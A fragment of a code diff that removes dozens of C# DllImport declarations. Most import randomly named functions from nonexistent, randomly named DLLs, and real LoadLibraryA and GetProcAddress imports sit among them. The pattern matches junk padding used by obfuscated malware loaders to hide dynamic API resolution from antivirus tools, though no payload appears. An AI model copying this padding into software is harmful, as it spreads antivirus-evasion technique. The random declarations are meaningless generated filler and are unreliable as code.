qMzJgbFHnHNVKpyzxDagn); - - [DllImport("zUyXpPpBuNvTDNTPbrHOQZwr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SfeuyBsShZKrtOqvJGoCbbDMY( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VXEKdlaGCCBGqwFVvuLBEvU, - string[] xcaIwRHxMWFFrsTcoRkPnG, - char SGDwPMjTdjfrIJegpNuXn); - - [DllImport("NhYPcmVVJuWsFTBSEIiWTNfd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UatCqXSSRWHzHlMxORUMkOscY( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string zVtzvILZvwGQLoEWqKEtZij, - string[] hmXQXCPOehkcCQJtbdxafs, - char DYlZLmJIjRiUYyZkewtQl); - - [DllImport("nSfeuyBsShZKrtOqvJGoCbbD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LDyKbqMzJgbFHnHNVKpyzxDag( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MYzUyXpPpBuNvTDNTPbrHOQ, - string[] ZwrVXEKdlaGCCBGqwFVvuL, - char BEvUxcaIwRHxMWFFrsTco); - - [DllImport("nUatCqXSSRWHzHlMxORUMkOs.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RkPnGSGDwPMjTdjfrIJegpNuX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cYNhYPcmVVJuWsFTBSEIiWT, - string[] NfdzVtzvILZvwGQLoEWqKE, - char tZijhmXQXCPOehkcCQJtb); - - [DllImport("lLDyKbqMzJgbFHnHNVKpyzxD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dxafsDYlZLmJIjRiUYyZkewtQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string agnSfeuyBsShZKrtOqvJGoC, - string[] bbDMYzUyXpPpBuNvTDNTPb, - char rHOQZwrVXEKdlaGCCBGqw); - - [DllImport("oRkPnGSGDwPMjTdjfrIJegpN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FVvuLBEvUxcaIwRHxMWFFrsTc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uXnUatCqXSSRWHzHlMxORUM, - string[] kOscYNhYPcmVVJuWsFTBSE, - char IiWTNfdzVtzvILZvwGQLo); - - [DllImport("bdxafsDYlZLmJIjRiUYyZkew.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EWqKEtZijhmXQXCPOehkcCQJt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tQlLDyKbqMzJgbFHnHNVKpy, - string[] zxDagnSfeuyBsShZKrtOqv, - char JGoCbbDMYzUyXpPpBuNvT); - - [DllImport("wFVvuLBEvUxcaIwRHxMWFFrs.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DNTPbrHOQZwrVXEKdlaGCCBGq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TcoRkPnGSGDwPMjTdjfrIJe, - string[] gpNuXnUatCqXSSRWHzHlMx, - char ORUMkOscYNhYPcmVVJuWs); - - [DllImport("oEWqKEtZijhmXQXCPOehkcCQ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FTBSEIiWTNfdzVtzvILZvwGQL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JtbdxafsDYlZLmJIjRiUYyZ, - string[] kewtQlLDyKbqMzJgbFHnHN, - char VKpyzxDagnSfeuyBsShZK); - - [DllImport("TDNTPbrHOQZwrVXEKdlaGCCB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rtOqvJGoCbbDMYzUyXpPpBuNv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GqwFVvuLBEvUxcaIwRHxMWF, - string[] FrsTcoRkPnGSGDwPMjTdjf, - char rIJegpNuXnUatCqXSSRWH); - - [DllImport("sFTBSEIiWTNfdzVtzvILZvwG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zHlMxORUMkOscYNhYPcmVVJuW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QLoEWqKEtZijhmXQXCPOehk, - string[] cCQJtbdxafsDYlZLmJIjRi, - char UYyZkewtQlLDyKbqMzJgb); - - [DllImport("KrtOqvJGoCbbDMYzUyXpPpBu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FHnHNVKpyzxDagnSfeuyBsShZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NvTDNTPbrHOQZwrVXEKdlaG, - string[] CCBGqwFVvuLBEvUxcaIwRH, - char xMWFFrsTcoRkPnGSGDwPM); - - [DllImport("HzHlMxORUMkOscYNhYPcmVVJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jTdjfrIJegpNuXnUatCqXSSRW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string uWsFTBSEIiWTNfdzVtzvILZ, - string[] vwGQLoEWqKEtZijhmXQXCP, - char OehkcCQJtbdxafsDYlZLm); - - [DllImport("bFHnHNVKpyzxDagnSfeuyBsS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JIjRiUYyZkewtQlLDyKbqMzJg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hZKrtOqvJGoCbbDMYzUyXpP, - string[] pBuNvTDNTPbrHOQZwrVXEK, - char dlaGCCBGqwFVvuLBEvUxc); - - [DllImport("MjTdjfrIJegpNuXnUatCqXSS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aIwRHxMWFFrsTcoRkPnGSGDwP( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RWHzHlMxORUMkOscYNhYPcm, - string[] VVJuWsFTBSEIiWTNfdzVtz, - char vILZvwGQLoEWqKEtZijhm); - - [DllImport("mJIjRiUYyZkewtQlLDyKbqMz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] XQXCPOehkcCQJtbdxafsDYlZL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JgbFHnHNVKpyzxDagnSfeuy, - string[] BsShZKrtOqvJGoCbbDMYzU, - char yXpPpBuNvTDNTPbrHOQZw); - - [DllImport("caIwRHxMWFFrsTcoRkPnGSGD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] rVXEKdlaGCCBGqwFVvuLBEvUx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wPMjTdjfrIJegpNuXnUatCq, - string[] XSSRWHzHlMxORUMkOscYNh, - char YPcmVVJuWsFTBSEIiWTNf); - - [DllImport("mXQXCPOehkcCQJtbdxafsDYl.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dzVtzvILZvwGQLoEWqKEtZijh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZLmJIjRiUYyZkewtQlLDyKb, - string[] qMzJgbFHnHNVKpyzxDagnS, - char feuyBsShZKrtOqvJGoCbb); - - [DllImport("wrVXEKdlaGCCBGqwFVvuLBEv.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DMYzUyXpPpBuNvTDNTPbrHOQZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string UxcaIwRHxMWFFrsTcoRkPnG, - string[] SGDwPMjTdjfrIJegpNuXnU, - char atCqXSSRWHzHlMxORUMkO); - - [DllImport("fdzVtzvILZvwGQLoEWqKEtZi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] scYNhYPcmVVJuWsFTBSEIiWTN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string jhmXQXCPOehkcCQJtbdxafs, - string[] DYlZLmJIjRiUYyZkewtQlL, - char DyKbqMzJgbFHnHNVKpyzx); - - [DllImport("bDMYzUyXpPpBuNvTDNTPbrHO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DagnSfeuyBsShZKrtOqvJGoCb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QZwrVXEKdlaGCCBGqwFVvuL, - string[] BEvUxcaIwRHxMWFFrsTcoR, - char kPnGSGDwPMjTdjfrIJegp); - - [DllImport("OscYNhYPcmVVJuWsFTBSEIiW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NuXnUatCqXSSRWHzHlMxORUMk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TNfdzVtzvILZvwGQLoEWqKE, - string[] tZijhmXQXCPOehkcCQJtbd, - char xafsDYlZLmJIjRiUYyZke); - - [DllImport("xDagnSfeuyBsShZKrtOqvJGo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wtQlLDyKbqMzJgbFHnHNVKpyz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CbbDMYzUyXpPpBuNvTDNTPb, - string[] rHOQZwrVXEKdlaGCCBGqwF, - char VvuLBEvUxcaIwRHxMWFFr); - - [DllImport("pNuXnUatCqXSSRWHzHlMxORU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sTcoRkPnGSGDwPMjTdjfrIJeg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MkOscYNhYPcmVVJuWsFTBSE, - string[] IiWTNfdzVtzvILZvwGQLoE, - char WqKEtZijhmXQXCPOehkcC); - - [DllImport("ewtQlLDyKbqMzJgbFHnHNVKp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QJtbdxafsDYlZLmJIjRiUYyZk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yzxDagnSfeuyBsShZKrtOqv, - string[] JGoCbbDMYzUyXpPpBuNvTD, - char NTPbrHOQZwrVXEKdlaGCC); - - [DllImport("rsTcoRkPnGSGDwPMjTdjfrIJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BGqwFVvuLBEvUxcaIwRHxMWFF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string egpNuXnUatCqXSSRWHzHlMx, - string[] ORUMkOscYNhYPcmVVJuWsF, - char TBSEIiWTNfdzVtzvILZvw); - - [DllImport("CQJtbdxafsDYlZLmJIjRiUYy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GQLoEWqKEtZijhmXQXCPOehkc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZkewtQlLDyKbqMzJgbFHnHN, - string[] VKpyzxDagnSfeuyBsShZKr, - char tOqvJGoCbbDMYzUyXpPpB); - - [DllImport("CBGqwFVvuLBEvUxcaIwRHxMW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] uNvTDNTPbrHOQZwrVXEKdlaGC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FFrsTcoRkPnGSGDwPMjTdjf, - string[] rIJegpNuXnUatCqXSSRWHz, - char HlMxORUMkOscYNhYPcmVV); - - [DllImport("wGQLoEWqKEtZijhmXQXCPOeh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JuWsFTBSEIiWTNfdzVtzvILZv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kcCQJtbdxafsDYlZLmJIjRi, - string[] UYyZkewtQlLDyKbqMzJgbF, - char HnHNVKpyzxDagnSfeuyBs); - - [DllImport("BuNvTDNTPbrHOQZwrVXEKdla.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ShZKrtOqvJGoCbbDMYzUyXpPp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GCCBGqwFVvuLBEvUxcaIwRH, - string[] xMWFFrsTcoRkPnGSGDwPMj, - char TdjfrIJegpNuXnUatCqXS); - - [DllImport("VJuWsFTBSEIiWTNfdzVtzvIL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] SRWHzHlMxORUMkOscYNhYPcmV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZvwGQLoEWqKEtZijhmXQXCP, - string[] OehkcCQJtbdxafsDYlZLmJ, - char IjRiUYyZkewtQlLDyKbqM); - - [DllImport("sShZKrtOqvJGoCbbDMYzUyXp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zJgbFHnHNVKpyzxDagnSfeuyB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PpBuNvTDNTPbrHOQZwrVXEK, - string[] dlaGCCBGqwFVvuLBEvUxca, - char IwRHxMWFFrsTcoRkPnGSG); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name); - - [DllImport("SSRWHzHlMxORUMkOscYNhYPc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DwPMjTdjfrIJegpNuXnUatCqX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mVVJuWsFTBSEIiWTNfdzVtz, - string[] vILZvwGQLoEWqKEtZijhmX, - char QXCPOehkcCQJtbdxafsDY); - - [DllImport("MzJgbFHnHNVKpyzxDagnSfeu.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lZLmJIjRiUYyZkewtQlLDyKbq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yBsShZKrtOqvJGoCbbDMYzU, - string[] yXpPpBuNvTDNTPbrHOQZwr, - char VXEKdlaGCCBGqwFVvuLBE); - - [DllImport("GDwdawgrxtFWXstEbIlBhoHP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vUxcaIwRHxMWFFrsTcoRkPnGS( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FkfgejUOVyaLbfiZybHqmav, - string[] lcqBjjWJjGThPgSWvkhbtq, - char NjIOKVZnJKUdYCSkFYSIn); - - [DllImport("mzmZBWVxfwimMmxrKHezYQNY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wwuzlelQccrvyqPeXHorMosHR( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pEZNWuoSUBVaiYENNMQnuCg, - string[] ssJMPHfunXFIcFJXUDQppR, - char ZlOhNkDcDOIaKgQbgdoGU); - - [DllImport("RJiLpnWKfVMakTTGGhpDexdC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cdmLGikRXqyoUPQOTELSiKJZP( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string TfTRLdawgrxtFWXstEbIlBh, - string[] oHPFkfgejUOVyaLbfiZybH, - char qmavlcqBjjWJjGThPgSWv); - - [DllImport("nwwuzlelQccrvyqPeXHorMos.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] khbtqNjIOKVZnJKUdYCSkFYSI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HRmzmZBWVxfwimMmxrKHezY, - string[] QNYpEZNWuoSUBVaiYENNMQ, - char nuCgssJMPHfunXFIcFJXU); - - [DllImport("UcdmLGikRXqyoUPQOTELSiKJ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DQppRZlOhNkDcDOIaKgQbgdoG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ZPRJiLpnWKfVMakTTGGhpDe, - string[] xdCTfTRLdawgrxtFWXstEb, - char IlBhoHPFkfgejUOVyaLbf); - - [DllImport("vkhbtqNjIOKVZnJKUdYCSkFY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] iZybHqmavlcqBjjWJjGThPgSW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SInwwuzlelQccrvyqPeXHor, - string[] MosHRmzmZBWVxfwimMmxrK, - char HezYQNYpEZNWuoSUBVaiY); - - [DllImport("UDQppRZlOhNkDcDOIaKgQbgd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ENNMQnuCgssJMPHfunXFIcFJX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string oGUcdmLGikRXqyoUPQOTELS, - string[] iKJZPRJiLpnWKfVMakTTGG, - char hpDexdCTfTRLdawgrxtFW); - - [DllImport("fiZybHqmavlcqBjjWJjGThPg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] XstEbIlBhoHPFkfgejUOVyaLb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SWvkhbtqNjIOKVZnJKUdYCS, - string[] kFYSInwwuzlelQccrvyqPe, - char XHorMosHRmzmZBWVxfwim); - - [DllImport("YENNMQnuCgssJMPHfunXFIcF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] MmxrKHezYQNYpEZNWuoSUBVai( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string JXUDQppRZlOhNkDcDOIaKgQ, - string[] bgdoGUcdmLGikRXqyoUPQO, - char TELSiKJZPRJiLpnWKfVMa); - - [DllImport("WXstEbIlBhoHPFkfgejUOVya.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] kTTGGhpDexdCTfTRLdawgrxtF( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string LbfiZybHqmavlcqBjjWJjGT, - string[] hPgSWvkhbtqNjIOKVZnJKU, - char dYCSkFYSInwwuzlelQccr); - - [DllImport("mMmxrKHezYQNYpEZNWuoSUBV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] vyqPeXHorMosHRmzmZBWVxfwi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aiYENNMQnuCgssJMPHfunXF, - string[] IcFJXUDQppRZlOhNkDcDOI, - char aKgQbgdoGUcdmLGikRXqy); - - [DllImport("akTTGGhpDexdCTfTRLdawgrx.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] oUPQOTELSiKJZPRJiLpnWKfVM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tFWXstEbIlBhoHPFkfgejUO, - string[] VyaLbfiZybHqmavlcqBjjW, - char JjGThPgSWvkhbtqNjIOKV); - - [DllImport("rvyqPeXHorMosHRmzmZBWVxf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZnJKUdYCSkFYSInwwuzlelQcc( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wimMmxrKHezYQNYpEZNWuoS, - string[] UBVaiYENNMQnuCgssJMPHf, - char unXFIcFJXUDQppRZlOhNk); - - [DllImport("yoUPQOTELSiKJZPRJiLpnWKf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DcDOIaKgQbgdoGUcdmLGikRXq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string VMakTTGGhpDexdCTfTRLdaw, - string[] grxtFWXstEbIlBhoHPFkfg, - char ejUOVyaLbfiZybHqmavlc); - - [DllImport("VZnJKUdYCSkFYSInwwuzlelQ.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qBjjWJjGThPgSWvkhbtqNjIOK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ccrvyqPeXHorMosHRmzmZBW, - string[] VxfwimMmxrKHezYQNYpEZN, - char WuoSUBVaiYENNMQnuCgss); - - [DllImport("kDcDOIaKgQbgdoGUcdmLGikR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JMPHfunXFIcFJXUDQppRZlOhN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XqyoUPQOTELSiKJZPRJiLpn, - string[] WKfVMakTTGGhpDexdCTfTR, - char LdawgrxtFWXstEbIlBhoH); - - [DllImport("cqBjjWJjGThPgSWvkhbtqNjI.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] PFkfgejUOVyaLbfiZybHqmavl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OKVZnJKUdYCSkFYSInwwuzl, - string[] elQccrvyqPeXHorMosHRmz, - char mZBWVxfwimMmxrKHezYQN); - - [DllImport("sJMPHfunXFIcFJXUDQppRZlO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YpEZNWuoSUBVaiYENNMQnuCgs( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hNkDcDOIaKgQbgdoGUcdmLG, - string[] ikRXqyoUPQOTELSiKJZPRJ, - char iLpnWKfVMakTTGGhpDexd); - - [DllImport("HPFkfgejUOVyaLbfiZybHqma.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CTfTRLdawgrxtFWXstEbIlBho( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vlcqBjjWJjGThPgSWvkhbtq, - string[] NjIOKVZnJKUdYCSkFYSInw, - char wuzlelQccrvyqPeXHorMo); - - [DllImport("NYpEZNWuoSUBVaiYENNMQnuC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] sHRmzmZBWVxfwimMmxrKHezYQ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string gssJMPHfunXFIcFJXUDQppR, - string[] ZlOhNkDcDOIaKgQbgdoGUc, - char dmLGikRXqyoUPQOTELSiK); - - [DllImport("dCTfTRLdawgrxtFWXstEbIlB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JZPRJiLpnWKfVMakTTGGhpDex( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hoHPFkfgejUOVyaLbfiZybH, - string[] qmavlcqBjjWJjGThPgSWvk, - char hbtqNjIOKVZnJKUdYCSkF); - - [DllImport("osHRmzmZBWVxfwimMmxrKHez.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YSInwwuzlelQccrvyqPeXHorM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string YQNYpEZNWuoSUBVaiYENNMQ, - string[] nuCgssJMPHfunXFIcFJXUD, - char QppRZlOhNkDcDOIaKgQbg); - - [DllImport("KJZPRJiLpnWKfVMakTTGGhpD.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] doGUcdmLGikRXqyoUPQOTELSi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string exdCTfTRLdawgrxtFWXstEb, - string[] IlBhoHPFkfgejUOVyaLbfi, - char ZybHqmavlcqBjjWJjGThP); - - [DllImport("FYSInwwuzlelQccrvyqPeXHo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gSWvkhbtqNjIOKVZnJKUdYCSk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string rMosHRmzmZBWVxfwimMmxrK, - string[] HezYQNYpEZNWuoSUBVaiYE, - char NNMQnuCgssJMPHfunXFIc); - - [DllImport("gdoGUcdmLGikRXqyoUPQOTEL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FJXUDQppRZlOhNkDcDOIaKgQb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SiKJZPRJiLpnWKfVMakTTGG, - string[] hpDexdCTfTRLdawgrxtFWX, - char stEbIlBhoHPFkfgejUOVy); - - [DllImport("PgSWvkhbtqNjIOKVZnJKUdYC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] aLbfiZybHqmavlcqBjjWJjGTh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SkFYSInwwuzlelQccrvyqPe, - string[] XHorMosHRmzmZBWVxfwimM, - char mxrKHezYQNYpEZNWuoSUB); - - [DllImport("cFJXUDQppRZlOhNkDcDOIaKg.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VaiYENNMQnuCgssJMPHfunXFI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QbgdoGUcdmLGikRXqyoUPQO, - string[] TELSiKJZPRJiLpnWKfVMak, - char TTGGhpDexdCTfTRLdawgr); - - [DllImport("yaLbfiZybHqmavlcqBjjWJjG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] xtFWXstEbIlBhoHPFkfgejUOV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ThPgSWvkhbtqNjIOKVZnJKU, - string[] dYCSkFYSInwwuzlelQccrv, - char yqPeXHorMosHRmzmZBWVx); - - [DllImport("BVaiYENNMQnuCgssJMPHfunX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fwimMmxrKHezYQNYpEZNWuoSU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string FIcFJXUDQppRZlOhNkDcDOI, - string[] aKgQbgdoGUcdmLGikRXqyo, - char UPQOTELSiKJZPRJiLpnWK); - - [DllImport("rxtFWXstEbIlBhoHPFkfgejU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fVMakTTGGhpDexdCTfTRLdawg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string OVyaLbfiZybHqmavlcqBjjW, - string[] JjGThPgSWvkhbtqNjIOKVZ, - char nJKUdYCSkFYSInwwuzlel); - - [DllImport("xfwimMmxrKHezYQNYpEZNWuo.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QccrvyqPeXHorMosHRmzmZBWV( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SUBVaiYENNMQnuCgssJMPHf, - string[] unXFIcFJXUDQppRZlOhNkD, - char cDOIaKgQbgdoGUcdmLGik); - - [DllImport("KfVMakTTGGhpDexdCTfTRLda.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RXqyoUPQOTELSiKJZPRJiLpnW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string wgrxtFWXstEbIlBhoHPFkfg, - string[] ejUOVyaLbfiZybHqmavlcq, - char BjjWJjGThPgSWvkhbtqNj); - - [DllImport("lQccrvyqPeXHorMosHRmzmZB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IOKVZnJKUdYCSkFYSInwwuzle( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WVxfwimMmxrKHezYQNYpEZN, - string[] WuoSUBVaiYENNMQnuCgssJ, - char MPHfunXFIcFJXUDQppRZl); - - [DllImport("kRXqyoUPQOTELSiKJZPRJiLp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] OhNkDcDOIaKgQbgdoGUcdmLGi( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string nWKfVMakTTGGhpDexdCTfTR, - string[] LdawgrxtFWXstEbIlBhoHP, - char FkfgejUOVyaLbfiZybHqm); - - [DllImport("jIOKVZnJKUdYCSkFYSInwwuz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] avlcqBjjWJjGThPgSWvkhbtqN( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lelQccrvyqPeXHorMosHRmz, - string[] mZBWVxfwimMmxrKHezYQNY, - char pEZNWuoSUBVaiYENNMQnu); - - [DllImport("lOhNkDcDOIaKgQbgdoGUcdmL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CgssJMPHfunXFIcFJXUDQppRZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GikRXqyoUPQOTELSiKJZPRJ, - string[] iLpnWKfVMakTTGGhpDexdC, - char TfTRLdawgrxtFWXstEbIl); - - [DllImport("mavlcqBjjWJjGThPgSWvkhbt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BhoHPFkfgejUOVyaLbfiZybHq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qNjIOKVZnJKUdYCSkFYSInw, - string[] wuzlelQccrvyqPeXHorMos, - char HRmzmZBWVxfwimMmxrKHe); - - [DllImport("uCgssJMPHfunXFIcFJXUDQpp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zYQNYpEZNWuoSUBVaiYENNMQn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RZlOhNkDcDOIaKgQbgdoGUc, - string[] dmLGikRXqyoUPQOTELSiKJ, - char ZPRJiLpnWKfVMakTTGGhp); - - [DllImport("lBhoHPFkfgejUOVyaLbfiZyb.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DexdCTfTRLdawgrxtFWXstEbI( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HqmavlcqBjjWJjGThPgSWvk, - string[] hbtqNjIOKVZnJKUdYCSkFY, - char SInwwuzlelQccrvyqPeXH); - - [DllImport("ezYQNYpEZNWuoSUBVaiYENNM.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] orMosHRmzmZBWVxfwimMmxrKH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QnuCgssJMPHfunXFIcFJXUD, - string[] QppRZlOhNkDcDOIaKgQbgd, - char oGUcdmLGikRXqyoUPQOTE); - - [DllImport("pDexdCTfTRLdawgrxtFWXstE.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] LSiKJZPRJiLpnWKfVMakTTGGh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bIlBhoHPFkfgejUOVyaLbfi, - string[] ZybHqmavlcqBjjWJjGThPg, - char SWvkhbtqNjIOKVZnJKUdY); - - [DllImport("HorMosHRmzmZBWVxfwimMmxr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] CSkFYSInwwuzlelQccrvyqPeX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KHezYQNYpEZNWuoSUBVaiYE, - string[] NNMQnuCgssJMPHfunXFIcF, - char JXUDQppRZlOhNkDcDOIaK); - - [DllImport("ELSiKJZPRJiLpnWKfVMakTTG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gQbgdoGUcdmLGikRXqyoUPQOT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string GhpDexdCTfTRLdawgrxtFWX, - string[] stEbIlBhoHPFkfgejUOVya, - char 